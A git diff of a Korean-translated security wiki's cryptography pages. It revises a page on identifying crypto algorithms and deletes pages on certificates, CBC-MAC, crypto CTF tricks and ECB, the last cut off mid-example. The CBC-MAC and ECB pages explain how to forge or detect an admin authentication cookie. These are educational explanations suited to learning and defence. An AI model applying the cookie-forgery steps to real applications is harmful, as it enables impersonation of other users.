쉽게 판단할 수 있습니다(매우 긴 함수) -### 식별 +### Identifying -다음 이미지에서 상수 **0x9E3779B9**가 사용되는 방식을 주목하세요(이 상수는 **TEA** - Tiny Encryption Algorithm과 같은 다른 암호 알고리즘에서도 사용됩니다).\ +다음 이미지에서 상수 **0x9E3779B9**가 사용되는 것을 주목하세요(이 상수는 **TEA** - Tiny Encryption Algorithm과 같은 다른 암호 알고리즘에서도 사용됩니다).\ 또한 **루프의 크기**(**132**)와 **디스어셈블리** 명령어 및 **코드** 예제에서의 **XOR 연산 수**를 주목하세요: ![](<../../images/image (547).png>) -앞서 언급했듯이 이 코드는 **매우 긴 함수**로서 어떤 디컴파일러에서도 시각화할 수 있으며, 그 안에는 **점프가 없습니다**. 디컴파일된 코드는 다음과 같이 보일 수 있습니다: +앞서 언급했듯이 이 코드는 **점프가 없기 때문에** 어떤 디컴파일러에서도 **매우 긴 함수**로 시각화될 수 있습니다. 디컴파일된 코드는 다음과 같이 보일 수 있습니다: ![](<../../images/image (513).png>) -따라서 **매직 넘버**와 **초기 XOR**를 확인하고, **매우 긴 함수**를 보고, **긴 함수의 일부 명령어를 구현과 비교**함으로써 이 알고리즘을 식별할 수 있습니다(예: 7로 왼쪽 시프트 및 22로 회전 왼쪽). +따라서 **매직 넘버**와 **초기 XOR**를 확인하고 **매우 긴 함수**를 보고 **긴 함수의 일부 명령어를 구현과 비교**함으로써 이 알고리즘을 식별할 수 있습니다(예: 7로 왼쪽으로 시프트 및 22로 왼쪽으로 회전). -## RSA **(비대칭 암호)** +## RSA **(Asymmetric Crypt)** -### 특징 +### Characteristics - 대칭 알고리즘보다 더 복잡합니다. - 상수가 없습니다! (사용자 정의 구현은 식별하기 어렵습니다) - KANAL(암호 분석기)은 RSA에 대한 힌트를 제공하지 않으며 상수에 의존합니다. -### 비교를 통한 식별 +### Identifying by comparisons ![](<../../images/image (1113).png>) - 11번째 줄(왼쪽)에는 `+7) >> 3`가 있으며, 이는 35번째 줄(오른쪽)과 동일합니다: `+7) / 8` - 12번째 줄(왼쪽)은 `modulus_len < 0x040`를 확인하고, 36번째 줄(오른쪽)은 `inputLen+11 > modulusLen`을 확인합니다. -## MD5 & SHA (해시) +## MD5 & SHA (hash) -### 특징 +### Characteristics - 3개의 함수: Init, Update, Final - 유사한 초기화 함수 -### 식별 +### Identify **Init** @@ -144,18 +142,18 @@ ![](<../../images/image (406).png>) -**MD5 변환** +**MD5 Transform** -더 많은 상수의 사용을 주목하세요. +더 많은 상수의 사용에 주목하세요. ![](<../../images/image (253) (1) (1).png>) -## CRC (해시) +## CRC (hash) - 데이터의 우발적인 변경을 찾는 기능으로 더 작고 효율적입니다. - 조회 테이블을 사용하므로 상수를 식별할 수 있습니다. -### 식별 +### Identify **조회 테이블 상수**를 확인하세요: @@ -165,20 +163,20 @@ CRC 해시 알고리즘은 다음과 같습니다: ![](<../../images/image (391).png>) -## APLib (압축) +## APLib (Compression) -### 특징 +### Characteristics - 인식할 수 있는 상수가 없습니다. - 알고리즘을 파이썬으로 작성하고 온라인에서 유사한 것을 검색해 볼 수 있습니다. -### 식별 +### Identify 그래프는 꽤 큽니다: ![](<../../images/image (207) (2) (1).png>) -식별하기 위해 **3개의 비교를 확인하세요**: +**인식하기 위한 3가지 비교**를 확인하세요: ![](<../../images/image (430).png>) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md deleted file mode 100644 index 628f4eb64..000000000 --- a/src/cryptography/certificates.md +++ /dev/null @@ -1,157 +0,0 @@ -# Certificates - -{{#include ../banners/hacktricks-training.md}} - -## What is a Certificate - -A **public key certificate**는 암호학에서 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용되는 디지털 ID입니다. 여기에는 키의 세부정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명이 포함됩니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하면 키 소유자와의 안전한 통신이 가능합니다. - -인증서는 주로 [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs)에서 [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) 설정에서 발급됩니다. 또 다른 방법은 [web of trust](https://en.wikipedia.org/wiki/Web_of_trust)로, 사용자가 서로의 키를 직접 검증하는 방식입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에 설명된 대로 특정 요구에 맞게 조정될 수 있습니다. - -## x509 Common Fields - -### **Common Fields in x509 Certificates** - -x509 인증서에서 여러 **필드**는 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 다음은 이러한 필드의 분류입니다: - -- **Version Number**는 x509 형식의 버전을 나타냅니다. -- **Serial Number**는 인증서를 인증 기관(CA) 시스템 내에서 고유하게 식별하며, 주로 폐기 추적을 위해 사용됩니다. -- **Subject** 필드는 인증서의 소유자를 나타내며, 이는 기계, 개인 또는 조직일 수 있습니다. 여기에는 다음과 같은 자세한 식별 정보가 포함됩니다: -- **Common Name (CN)**: 인증서가 적용되는 도메인. -- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, 및 **Organizational Unit (OU)**는 지리적 및 조직적 세부정보를 제공합니다. -- **Distinguished Name (DN)**는 전체 주체 식별을 캡슐화합니다. -- **Issuer**는 인증서를 검증하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다. -- **Validity Period**는 **Not Before** 및 **Not After** 타임스탬프로 표시되어 인증서가 특정 날짜 이전이나 이후에 사용되지 않도록 보장합니다. -- **Public Key** 섹션은 인증서의 보안에 중요한 부분으로, 공개 키의 알고리즘, 크기 및 기타 기술적 세부정보를 지정합니다. -- **x509v3 extensions**는 인증서의 기능을 향상시키며, **Key Usage**, **Extended Key Usage**, **Subject Alternative Name** 및 기타 속성을 지정하여 인증서의 적용을 세밀하게 조정합니다. - -#### **Key Usage and Extensions** - -- **Key Usage**는 공개 키의 암호화 응용 프로그램을 식별하며, 디지털 서명 또는 키 암호화와 같은 용도로 사용됩니다. -- **Extended Key Usage**는 인증서의 사용 사례를 더욱 좁히며, 예를 들어 TLS 서버 인증을 위한 것입니다. -- **Subject Alternative Name** 및 **Basic Constraint**는 인증서가 적용되는 추가 호스트 이름과 인증서가 CA인지 최종 엔터티 인증서인지를 정의합니다. -- **Subject Key Identifier** 및 **Authority Key Identifier**와 같은 식별자는 키의 고유성과 추적 가능성을 보장합니다. -- **Authority Information Access** 및 **CRL Distribution Points**는 발급 CA를 검증하고 인증서 폐기 상태를 확인하는 경로를 제공합니다. -- **CT Precertificate SCTs**는 인증서에 대한 공공 신뢰를 위해 중요한 투명성 로그를 제공합니다. -```python -# Example of accessing and using x509 certificate fields programmatically: -from cryptography import x509 -from cryptography.hazmat.backends import default_backend - -# Load an x509 certificate (assuming cert.pem is a certificate file) -with open("cert.pem", "rb") as file: -cert_data = file.read() -certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) - -# Accessing fields -serial_number = certificate.serial_number -issuer = certificate.issuer -subject = certificate.subject -public_key = certificate.public_key() - -print(f"Serial Number: {serial_number}") -print(f"Issuer: {issuer}") -print(f"Subject: {subject}") -print(f"Public Key: {public_key}") -``` -### **OCSP와 CRL 배포 지점의 차이** - -**OCSP** (**RFC 2560**)는 클라이언트와 응답자가 협력하여 디지털 공개 키 인증서가 취소되었는지 확인하는 방법으로, 전체 **CRL**을 다운로드할 필요가 없습니다. 이 방법은 취소된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 더 효율적입니다. CRL은 최대 512개의 항목을 포함할 수 있습니다. 더 많은 세부정보는 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)에서 확인할 수 있습니다. - -### **인증서 투명성이란 무엇인가** - -인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 보이도록 하여 인증서 관련 위협에 대응하는 데 도움을 줍니다. 그 목표는 다음과 같습니다: - -- 도메인 소유자의 지식 없이 CA가 도메인에 대한 SSL 인증서를 발급하는 것을 방지합니다. -- 실수로 또는 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 구축합니다. -- 사용자들을 사기성 인증서로부터 보호합니다. - -#### **인증서 로그** - -인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능하고 추가 전용 기록입니다. 이러한 로그는 감사 목적으로 암호학적 증거를 제공합니다. 발급 기관과 대중 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만일 것으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관심 있는 어떤 주체에 의해 독립적으로 관리될 수 있습니다. - -#### **쿼리** - -어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 [https://crt.sh/](https://crt.sh) 를 방문하세요. - -인증서를 저장하는 다양한 형식이 있으며, 각 형식은 고유한 사용 사례와 호환성을 가지고 있습니다. 이 요약에서는 주요 형식을 다루고 이들 간의 변환에 대한 지침을 제공합니다. - -## **형식** - -### **PEM 형식** - -- 인증서에 가장 널리 사용되는 형식입니다. -- 인증서와 개인 키를 위해 별도의 파일이 필요하며, Base64 ASCII로 인코딩됩니다. -- 일반적인 확장자: .cer, .crt, .pem, .key. -- 주로 Apache 및 유사한 서버에서 사용됩니다. - -### **DER 형식** - -- 인증서의 이진 형식입니다. -- PEM 파일에서 발견되는 "BEGIN/END CERTIFICATE" 문이 없습니다. -- 일반적인 확장자: .cer, .der. -- 종종 Java 플랫폼과 함께 사용됩니다. - -### **P7B/PKCS#7 형식** - -- Base64 ASCII로 저장되며, 확장자는 .p7b 또는 .p7c입니다. -- 개인 키를 제외하고 인증서와 체인 인증서만 포함됩니다. -- Microsoft Windows 및 Java Tomcat에서 지원됩니다. - -### **PFX/P12/PKCS#12 형식** - -- 서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식입니다. -- 확장자: .pfx, .p12. -- 주로 Windows에서 인증서 가져오기 및 내보내기에 사용됩니다. - -### **형식 변환** - -**PEM 변환**은 호환성을 위해 필수적입니다: - -- **x509 to PEM** -```bash -openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem -``` -- **PEM을 DER로** -```bash -openssl x509 -outform der -in certificatename.pem -out certificatename.der -``` -- **DER to PEM** -```bash -openssl x509 -inform der -in certificatename.der -out certificatename.pem -``` -- **PEM을 P7B로** -```bash -openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer -``` -- **PKCS7를 PEM으로** -```bash -openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem -``` -**PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다: - -- **PFX에서 PEM으로** -```bash -openssl pkcs12 -in certificatename.pfx -out certificatename.pem -``` -- **PFX to PKCS#8**는 두 단계로 이루어집니다: -1. PFX를 PEM으로 변환합니다. -```bash -openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem -``` -2. PEM을 PKCS8로 변환하기 -```bash -openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 -``` -- **P7B to PFX** 또한 두 개의 명령이 필요합니다: -1. P7B를 CER로 변환합니다. -```bash -openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer -``` -2. CER 및 개인 키를 PFX로 변환하기 -```bash -openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer -``` ---- - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md deleted file mode 100644 index d74292a87..000000000 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ /dev/null @@ -1,55 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# CBC - -만약 **cookie**가 **오직** **사용자 이름**(또는 cookie의 첫 부분이 사용자 이름)이고, 사용자 이름 "**admin**"으로 가장하고 싶다면, 사용자 이름 **"bdmin"**을 만들고 **첫 바이트**를 **브루트포스**할 수 있습니다. - -# CBC-MAC - -**Cipher block chaining message authentication code** (**CBC-MAC**)는 암호학에서 사용되는 방법입니다. 이 방법은 메시지를 블록 단위로 암호화하며, 각 블록의 암호화는 이전 블록과 연결됩니다. 이 과정은 **블록의 체인**을 생성하여 원래 메시지의 단일 비트라도 변경하면 암호화된 데이터의 마지막 블록에서 예측할 수 없는 변화를 초래합니다. 이러한 변화를 만들거나 되돌리기 위해서는 암호화 키가 필요하여 보안을 보장합니다. - -메시지 m의 CBC-MAC을 계산하기 위해, m을 제로 초기화 벡터로 CBC 모드에서 암호화하고 마지막 블록을 유지합니다. 다음 그림은 비밀 키 k와 블록 암호 E를 사용하여 블록으로 구성된 메시지의 CBC-MAC 계산을 간략하게 나타냅니다![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) - -![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() - -# Vulnerability - -CBC-MAC에서는 일반적으로 **사용되는 IV가 0**입니다.\ -이것은 문제입니다. 왜냐하면 2개의 알려진 메시지(`m1`과 `m2`)가 독립적으로 2개의 서명(`s1`과 `s2`)을 생성하기 때문입니다. 그래서: - -- `E(m1 XOR 0) = s1` -- `E(m2 XOR 0) = s2` - -그런 다음 m1과 m2가 연결된 메시지(m3)는 2개의 서명(s31과 s32)을 생성합니다: - -- `E(m1 XOR 0) = s31 = s1` -- `E(m2 XOR s1) = s32` - -**이는 암호화 키를 알지 못해도 계산할 수 있습니다.** - -당신이 **Administrator**라는 이름을 **8bytes** 블록으로 암호화하고 있다고 상상해 보십시오: - -- `Administ` -- `rator\00\00\00` - -사용자 이름 **Administ**(m1)를 만들고 서명(s1)을 가져올 수 있습니다.\ -그런 다음 `rator\00\00\00 XOR s1`의 결과로 사용자 이름을 만들 수 있습니다. 이것은 `E(m2 XOR s1 XOR 0)`을 생성하며, 이는 s32입니다.\ -이제 s32를 전체 이름 **Administrator**의 서명으로 사용할 수 있습니다. - -### Summary - -1. 사용자 이름 **Administ**(m1)의 서명 s1을 가져옵니다. -2. 사용자 이름 **rator\x00\x00\x00 XOR s1 XOR 0**의 서명 s32를 가져옵니다. -3. cookie를 s32로 설정하면 **Administrator** 사용자에 대한 유효한 cookie가 됩니다. - -# Attack Controlling IV - -사용된 IV를 제어할 수 있다면 공격이 매우 쉬울 수 있습니다.\ -만약 cookie가 단순히 암호화된 사용자 이름이라면, 사용자 "**administrator**"로 가장하기 위해 "**Administrator**"라는 사용자를 만들 수 있으며, 그 사용자의 cookie를 얻을 수 있습니다.\ -이제 IV를 제어할 수 있다면, IV의 첫 바이트를 변경하여 **IV\[0] XOR "A" == IV'\[0] XOR "a"**로 만들고 사용자 **Administrator**의 cookie를 재생성할 수 있습니다. 이 cookie는 초기 **IV**로 사용자 **administrator**를 **가장하는** 데 유효합니다. - -## References - -자세한 정보는 [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)에서 확인하세요. - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md deleted file mode 100644 index 4c34eac39..000000000 --- a/src/cryptography/crypto-ctfs-tricks.md +++ /dev/null @@ -1,271 +0,0 @@ -# Crypto CTFs Tricks - -{{#include ../banners/hacktricks-training.md}} - -## Online Hashes DBs - -- _**구글링하기**_ -- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) -- [https://crackstation.net/](https://crackstation.net) -- [https://md5decrypt.net/](https://md5decrypt.net) -- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com) -- [https://gpuhash.me/](https://gpuhash.me) -- [https://hashes.org/search.php](https://hashes.org/search.php) -- [https://www.cmd5.org/](https://www.cmd5.org) -- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) -- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) - -## Magic Autosolvers - -- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) -- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) -- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) - -## Encoders - -대부분의 인코딩된 데이터는 이 두 리소스로 디코딩할 수 있습니다: - -- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### Substitution Autosolvers - -- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - 매우 좋습니다! - -#### Caesar - ROTx Autosolvers - -- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) - -#### Atbash Cipher - -- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) - -### Base Encodings Autosolver - -모든 이러한 베이스를 확인하세요: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - -- **Ascii85** -- `BQ%]q@psCd@rH0l` -- **Base26** \[_A-Z_] -- `BQEKGAHRJKHQMVZGKUXNT` -- **Base32** \[_A-Z2-7=_] -- `NBXWYYLDMFZGCY3PNRQQ====` -- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] -- `pbzsaamdcf3gna5xptoo====` -- **Base32 Geohash** \[_0-9b-hjkmnp-z_] -- `e1rqssc3d5t62svgejhh====` -- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] -- `D1QPRRB3C5S62RVFDHGG====` -- **Base32 Extended Hexadecimal** \[_0-9A-V_] -- `D1NMOOB3C5P62ORFDHGG====` -- **Base45** \[_0-9A-Z $%\*+-./:_] -- `59DPVDGPCVKEUPCPVD` -- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] -- `2yJiRg5BF9gmsU6AC` -- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] -- `2YiHqF5bf9FLSt6ac` -- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] -- `pyJ5RgnBE9gm17awU` -- **Base62** \[_0-9A-Za-z_] -- `g2AextRZpBKRBzQ9` -- **Base64** \[_A-Za-z0-9+/=_] -- `aG9sYWNhcmFjb2xh` -- **Base67** \[_A-Za-z0-9-_.!\~\_] -- `NI9JKX0cSUdqhr!p` -- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `BQ%]q@psCd@rH0l` -- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `<~BQ%]q@psCd@rH0l~>` -- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] -- `Xm4y`V\_|Y(V{dF>\` -- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` -- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] -- `Xm4y|V{~Y+V}dF?` -- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] -- `frDg[*jNN!7&BQM` -- **Base100** \[] -- `👟👦👣👘👚👘👩👘👚👦👣👘` -- **Base122** \[] -- `4F ˂r0Xmvc` -- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] -- `MIc3KiXa+Ihz+lrXMIc3KbCC` -- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] -- `DmPsv8J7qrlKEoY7` -- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] -- `kLD8iwKsigSalLJ5` -- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] -- `ayRiIo1gpO+uUc7g` -- **ESAB46** \[] -- `3sHcL2NR8WrT7mhR` -- **MEGAN45** \[] -- `kLD8igSXm2KZlwrX` -- **TIGO3FX** \[] -- `7AP9mIzdmltYmIP9mWXX` -- **TRIPO5** \[] -- `UE9vSbnBW6psVzxB` -- **FERON74** \[] -- `PbGkNudxCzaKBm0x` -- **GILA7** \[] -- `D+nkv8C1qIKMErY1` -- **Citrix CTX1** \[] -- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` - -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### HackerizeXS \[_╫Λ↻├☰┏_] -``` -╫☐↑Λ↻Λ┏Λ↻☐↑Λ -``` -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 데드: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### 모스 -``` -.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- -``` -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 데드: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### UUencoder -``` -begin 644 webutils_pl -M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( -M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/ -F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` -` -end -``` -- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) - -### XXEncoder -``` -begin 644 webutils_pl -hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 -5Hol-G2xAEE++ -end -``` -- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) - -### YEncoder -``` -=ybegin line=128 size=28 name=webutils_pl -ryvkryvkryvkryvkryvkryvkryvk -=yend size=28 crc32=35834c86 -``` -- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) - -### BinHex -``` -(This file must be converted with BinHex 4.0) -:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p --38K26%'d9J!!: -``` -- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) - -### ASCII85 -``` -<~85DoF85DoF85DoF85DoF85DoF85DoF~> -``` -- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) - -### 드보락 키보드 -``` -drnajapajrna -``` -- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) - -### A1Z26 - -문자를 숫자 값으로 변환 -``` -8 15 12 1 3 1 18 1 3 15 12 1 -``` -### Affine Cipher Encode - -문자에서 숫자로 `(ax+b)%26` (_a_와 _b_는 키이고 _x_는 문자) 변환한 후 결과를 다시 문자로 변환합니다. -``` -krodfdudfrod -``` -### SMS 코드 - -**Multitap** [문자를 대체](https://www.dcode.fr/word-letter-change)하는 것은 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)에서 해당 키 코드에 의해 정의된 반복된 숫자입니다 (이 모드는 SMS를 작성할 때 사용됩니다).\ -예를 들어: 2=A, 22=B, 222=C, 3=D...\ -이 코드는 **여러 숫자가 반복되는** 것을 볼 수 있기 때문에 식별할 수 있습니다. - -이 코드는 다음에서 해독할 수 있습니다: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### 베이컨 코드 - -각 문자를 4개의 A 또는 B(또는 1과 0)로 대체합니다. -``` -00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 -AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA -``` -### Runes - -![](../images/runes.jpg) - -## Compression - -**Raw Deflate**와 **Raw Inflate** (둘 다 Cyberchef에서 찾을 수 있음)는 헤더 없이 데이터를 압축하고 압축 해제할 수 있습니다. - -## Easy Crypto - -### XOR - Autosolver - -- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) - -### Bifid - -키워드가 필요합니다. -``` -fgaargaamnlunesuneoa -``` -### Vigenere - -키워드가 필요합니다. -``` -wodsyoidrods -``` -- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) -- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) -- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) - -## 강력한 암호 - -### 페르넷 - -2개의 base64 문자열 (토큰 및 키) -``` -Token: -gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== - -Key: --s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= -``` -- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) - -### Samir 비밀 공유 - -비밀은 X 부분으로 나뉘며, 이를 복구하기 위해서는 Y 부분이 필요합니다 (_Y <=X_). -``` -8019f8fa5879aa3e07858d08308dc1a8b45 -80223035713295bddf0b0bd1b10a5340b89 -803bc8cf294b3f83d88e86d9818792e80cd -``` -[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) - -### OpenSSL 무차별 대입 공격 - -- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) -- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) - -## 도구 - -- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) -- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) -- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md deleted file mode 100644 index 62c224934..000000000 --- a/src/cryptography/electronic-code-book-ecb.md +++ /dev/null @@ -1,68 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# ECB - -(ECB) 전자 코드 북 - **명확한 텍스트의 각 블록을** **암호문 블록으로 대체하는** 대칭 암호화 방식입니다. 가장 **간단한** 암호화 방식입니다. 주요 아이디어는 **명확한 텍스트를 N 비트 블록으로 나누고** (입력 데이터의 블록 크기와 암호화 알고리즘에 따라 다름) 각 명확한 텍스트 블록을 **단 하나의 키**를 사용하여 암호화(복호화)하는 것입니다. - -![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) - -ECB를 사용하는 것은 여러 가지 보안 문제를 야기합니다: - -- **암호화된 메시지의 블록을 제거할 수 있습니다** -- **암호화된 메시지의 블록을 이동할 수 있습니다** - -# 취약점 탐지 - -애플리케이션에 여러 번 로그인하고 **항상 같은 쿠키를 받는** 상황을 상상해 보세요. 이는 애플리케이션의 쿠키가 **`|`**이기 때문입니다.\ -그런 다음, 두 명의 새로운 사용자를 생성하는데, 두 사용자 모두 **같은 긴 비밀번호**와 **거의** **같은** **사용자 이름**을 가지고 있습니다.\ -**두 사용자의 정보가 같은 8B 블록**이 **같은** 것을 발견합니다. 그러면, 이것이 **ECB가 사용되고 있기 때문일 수 있다고** 상상해 봅니다. - -다음 예제와 같이. 이 **2개의 디코딩된 쿠키**가 여러 번 블록 **`\x23U\xE45K\xCB\x21\xC8`**를 가지고 있는지 관찰하세요. -``` -\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E 